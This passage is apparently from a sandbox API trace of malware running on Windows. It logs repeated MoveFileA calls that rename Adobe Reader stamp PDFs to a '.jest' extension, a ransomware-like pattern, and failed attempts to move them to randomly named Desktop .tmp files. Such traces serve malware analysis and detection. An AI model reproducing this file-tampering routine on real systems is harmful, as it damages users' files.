(x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf.jest")) returned 1 [0151.621] GetLastError () returned 0x0 [0151.621] VarBstrFromR4 (in: fltIn=0x479450a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.3") returned 0x0 [0151.622] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.622] CoFreeUnusedLibraries () [0151.622] GetTickCount () returned 0x1157abc [0151.622] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.622] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.622] GetTickCount () returned 0x1157abc [0151.622] IsWindowVisible (hWnd=0x30268) returned 0 [0151.622] Sleep (dwMilliseconds=0x0) [0151.623] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AM6LG-5Y4kyKOuxbXl8FSLJHy21ePeHveloftGwHDp94yEshp7Egvy812PrpCSdRihMkJxhKLBnoZffRo3jHQT4HhG8uqaNOdpL2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\am6lg-5y4kykouxbxl8fsljhy21epehveloftgwhdp94yeshp7egvy812prpcsdrihmkjxhklbnozffro3jhqt4hhg8uqanodpl2.tmp")) returned 0 [0151.623] GetLastError () returned 0x2 [0151.623] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.623] CoFreeUnusedLibraries () [0151.623] GetTickCount () returned 0x1157abc [0151.624] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.624] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.624] GetTickCount () returned 0x1157abc [0151.624] IsWindowVisible (hWnd=0x30268) returned 0 [0151.624] Sleep (dwMilliseconds=0x0) [0151.624] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf.jest")) returned 1 [0151.627] GetLastError () returned 0x0 [0151.627] VarBstrFromR4 (in: fltIn=0x479450a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.32") returned 0x0 [0151.627] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.628] CoFreeUnusedLibraries () [0151.628] GetTickCount () returned 0x1157acb [0151.628] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.628] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.628] GetTickCount () returned 0x1157acb [0151.628] IsWindowVisible (hWnd=0x30268) returned 0 [0151.628] Sleep (dwMilliseconds=0x0) [0151.629] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kPzTXdSu5lSqtZ4b7v8RWlZ5ikGsol_CtH38avJvSJpWb67 JmmkYeLL6LHVibrpvX_Zzpd7r3Id SxxZMwgjGVVcapYdti-Ltpq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kpztxdsu5lsqtz4b7v8rwlz5ikgsol_cth38avjvsjpwb67 jmmkyell6lhvibrpvx_zzpd7r3id sxxzmwgjgvvcapydti-ltpq.tmp")) returned 0 [0151.629] GetLastError () returned 0x2 [0151.629] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.629] CoFreeUnusedLibraries () [0151.629] GetTickCount () returned 0x1157acb [0151.629] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.629] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.629] GetTickCount () returned 0x1157acb [0151.629] IsWindowVisible (hWnd=0x30268) returned 0 [0151.629] Sleep (dwMilliseconds=0x0) [0151.630] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf.jest")) returned 1 [0151.631] GetLastError () returned 0x0 [0151.631] VarBstrFromR4 (in: fltIn=0x479450a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.32") returned 0x0 [0151.631] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.631] CoFreeUnusedLibraries () [0151.631] GetTickCount () returned 0x1157acb [0151.631] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.631] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.631] GetTickCount () returned 0x1157acb [0151.631] IsWindowVisible (hWnd=0x30268) returned 0 [0151.631] Sleep (dwMilliseconds=0x0) [0151.632] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ec1kelaY0ZyJ9grJlBfU C5YoOcY_g7InTZUFbBQ3YvH1wBKPTW68fIJ1qqvBFVQyMj_JJcPOvAYZY5BuyrI4TsJKXjr6h tOvvb4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ec1kelay0zyj9grjlbfu c5yoocy_g7intzufbbq3yvh1wbkptw68fij1qqvbfvqymj_jjcpovayzy5buyri4tsjkxjr6h tovvb4.tmp")) returned 0 [0151.632] GetLastError () returned 0x2 [0151.633] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.633] CoFreeUnusedLibraries () [0151.633] GetTickCount () returned 0x1157acb [0151.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.633] GetTickCount () returned 0x1157acb [0151.633] IsWindowVisible (hWnd=0x30268) returned 0 [0151.633] Sleep (dwMilliseconds=0x0) [0151.633] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf.jest")) returned 1 [0151.634] GetLastError () returned 0x0 [0151.635] VarBstrFromR4 (in: fltIn=0x479450a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.32") returned 0x0 [0151.635] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.635] CoFreeUnusedLibraries () [0151.635] GetTickCount () returned 0x1157acb [0151.635] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.635] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.635] GetTickCount () returned 0x1157acb [0151.635] IsWindowVisible (hWnd=0x30268) returned 0 [0151.635] Sleep (dwMilliseconds=0x0) [0151.636] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Olkbkg7wt7_A-Zhw07C-wVooqb3-Sc4Yrw43f_mn36BO51vJXBdOJrDfYLCel 717zoZw60wRqzclbAjm7c84EEg4Hy0dqcnlu3ZY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\olkbkg7wt7_a-zhw07c-wvooqb3-sc4yrw43f_mn36bo51vjxbdojrdfylcel 717zozw60wrqzclbajm7c84eeg4hy0dqcnlu3zy.tmp")) returned 0 [0151.636] GetLastError () returned 0x2 [0151.636] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.636] CoFreeUnusedLibraries () [0151.636] GetTickCount () returned 0x1157acb [0151.636] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.636] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.637] GetTickCount () returned 0x1157acb [0151.637] IsWindowVisible (hWnd=0x30268) returned 0 [0151.637] Sleep (dwMilliseconds=0x0) [0151.637] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf.jest")) returned 1 [0151.640] GetLastError () returned 0x0 [0151.640] VarBstrFromR4 (in: fltIn=0x479450a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.32") returned 0x0 [0151.640] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.641] CoFreeUnusedLibraries () [0151.641] GetTickCount () returned 0x1157adb [0151.641] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.641] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.641] GetTickCount () returned 0x1157adb [0151.641] IsWindowVisible (hWnd=0x30268) returned 0 [0151.641] Sleep (dwMilliseconds=0x0) [0151.642] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K5dxmAqZXfOckMDOoGFrxMQoqw2OJphoUmiiXwpn2OqtG2MzBg0h-aorgX_FGz35ewmjbqP smZl0UtDjiCRxYwacPo_VePe Uxy0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k5dxmaqzxfockmdoogfrxmqoqw2ojphoumiixwpn2oqtg2mzbg0h-aorgx_fgz35ewmjbqp smzl0utdjicrxywacpo_vepe uxy0.tmp")) returned 0 [0151.642] GetLastError () returned 0x2 [0151.642] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.642] CoFreeUnusedLibraries () [0151.642] GetTickCount () returned 0x1157adb [0151.642] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.642] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.642] GetTickCount () returned 0x1157adb [0151.642] IsWindowVisible (hWnd=0x30268) returned 0 [0151.642] Sleep (dwMilliseconds=0x0) [0151.643] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf.jest")) returned 1 [0151.643] GetLastError () returned 0x0 [0151.644] VarBstrFromR4 (in: fltIn=0x479450ab, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.34") returned 0x0 [0151.644] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.644] CoFreeUnusedLibraries () [0151.644] GetTickCount () returned 0x1157adb [0151.644] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.644] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.644] GetTickCount () returned 0x1157adb [0151.644] IsWindowVisible (hWnd=0x30268) returned 0 [0151.644] Sleep (dwMilliseconds=0x0) [0151.645] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UvxG1tIh9plSHCXhe-KTQoWlyvmnUu5CwMZqFi3sWKn8Aj-D9pz3mV6NhtuUQEtYB2WepDDn-ZICmTGCjksTS-H0 RpQr0Hfhk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uvxg1tih9plshcxhe-ktqowlyvmnuu5cwmzqfi3swkn8aj-d9pz3mv6nhtuuqetyb2wepddn-zicmtgcjksts-h0 rpqr0hfhk.tmp")) returned 0 [0151.645] GetLastError () returned 0x2 [0151.646] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.646] CoFreeUnusedLibraries () [0151.646] GetTickCount () returned 0x1157adb [0151.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.646] GetTickCount () returned 0x1157adb [0151.646] IsWindowVisible (hWnd=0x30268) returned 0 [0151.646] Sleep (dwMilliseconds=0x0) [0151.646] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf.jest")) returned 1 [0151.647] GetLastError () returned 0x0 [0151.647] VarBstrFromR4 (in: fltIn=0x479450ab, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.34") returned 0x0 [0151.648] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.648] CoFreeUnusedLibraries () [0151.648] GetTickCount () returned 0x1157adb [0151.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.648] GetTickCount () returned 0x1157adb [0151.648] IsWindowVisible (hWnd=0x30268) returned 0 [0151.648] Sleep (dwMilliseconds=0x0) [0151.649] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gs93UMIf-Vx7aGjjZp3PiQsq-mDiwSHlqPAVqY14bHxsXjs_dxf9VOwdnvCnxuSmYKGfolEIaxs9YQoVgNz4GPAtVRhYWMW1xJi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gs93umif-vx7agjjzp3piqsq-mdiwshlqpavqy14bhxsxjs_dxf9vowdnvcnxusmykgfoleiaxs9yqovgnz4gpatvrhywmw1xji.tmp")) returned 0 [0151.649] GetLastError () returned 0x2 [0151.649] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.649] CoFreeUnusedLibraries () [0151.649] GetTickCount () returned 0x1157adb [0151.649] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.649] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.649] GetTickCount () returned 0x1157adb [0151.649] IsWindowVisible (hWnd=0x30268) returned 0 [0151.649] Sleep (dwMilliseconds=0x0) [0151.650] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf.jest")) returned 1 [0151.651] GetLastError () returned 0x0 [0151.651] VarBstrFromR4 (in: fltIn=0x479450ab, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.34") returned 0x0 [0151.651] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.652] CoFreeUnusedLibraries () [0151.652] GetTickCount () returned 0x1157adb [0151.652] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.652] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.652] GetTickCount () returned 0x1157adb [0151.652] IsWindowVisible (hWnd=0x30268) returned 0 [0151.652] Sleep (dwMilliseconds=0x0) [0151.653] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PSiD4dv974r9med-hDL-Y4aRKTLGMrsWvtrJQ8QB4emAHxRmXPit6Lf_ZvxYPrZbKp9pkDin7GefE-IZPmBCNigLbZgBuddmKo2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psid4dv974r9med-hdl-y4arktlgmrswvtrjq8qb4emahxrmxpit6lf_zvxyprzbkp9pkdin7gefe-izpmbcniglbzgbuddmko2.tmp")) returned 0 [0151.653] GetLastError () returned 0x2 [0151.653] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.653] CoFreeUnusedLibraries () [0151.653] GetTickCount () returned 0x1157adb [0151.653] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.653] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.653] GetTickCount () returned 0x1157adb [0151.653] IsWindowVisible (hWnd=0x30268) returned 0 [0151.653] Sleep (dwMilliseconds=0x0) [0151.654] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf.jest")) returned 1 [0151.659] GetLastError () returned 0x0 [0151.659] VarBstrFromR4 (in: fltIn=0x479450ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.35") returned 0x0 [0151.660] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.660] CoFreeUnusedLibraries () [0151.660] GetTickCount () returned 0x1157aeb [0151.660] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.660] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.660] GetTickCount () returned 0x1157aeb [0151.660] IsWindowVisible (hWnd=0x30268) returned 0 [0151.660] Sleep (dwMilliseconds=0x0) [0151.661] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swNb_WU_oeLv LEN Lvm6iZxonN4HVB6HytJYLE8qyIevzG6s2NLA93tUv8UmFDVp8IUFqdr0B6mxKUktOleKU4__vIXbV9GevJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swnb_wu_oelv len lvm6izxonn4hvb6hytjyle8qyievzg6s2nla93tuv8umfdvp8iufqdr0b6mxkuktoleku4__vixbv9gevj.tmp")) returned 0 [0151.661] GetLastError () returned 0x2 [0151.662] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.662] CoFreeUnusedLibraries () [0151.662] GetTickCount () returned 0x1157aeb [0151.662] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.662] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.662] GetTickCount () returned 0x1157aeb [0151.662] IsWindowVisible (hWnd=0x30268) returned 0 [0151.662] Sleep (dwMilliseconds=0x0) [0151.663] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf.jest")) returned 1 [0151.664] GetLastError () returned 0x0 [0151.664] VarBstrFromR4 (in: fltIn=0x479450ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.35") returned 0x0 [0151.664] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.665] CoFreeUnusedLibraries () [0151.665] GetTickCount () returned 0x1157aeb [0151.665] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.665] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.665] GetTickCount () returned 0x1157aeb [0151.665] IsWindowVisible (hWnd=0x30268) returned 0 [0151.665] Sleep (dwMilliseconds=0x0) [0151.666] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qIioucjbGfP QqVZukeojhT4GggamWsVOUqWAI3h0z5UlP au46m2K0gKFLu5E iTdHfT41tubdsepQH D7twjgzuTdTonqx-7C_.tmp" (normalized: "c:\\users\\5p5nrgjn0js 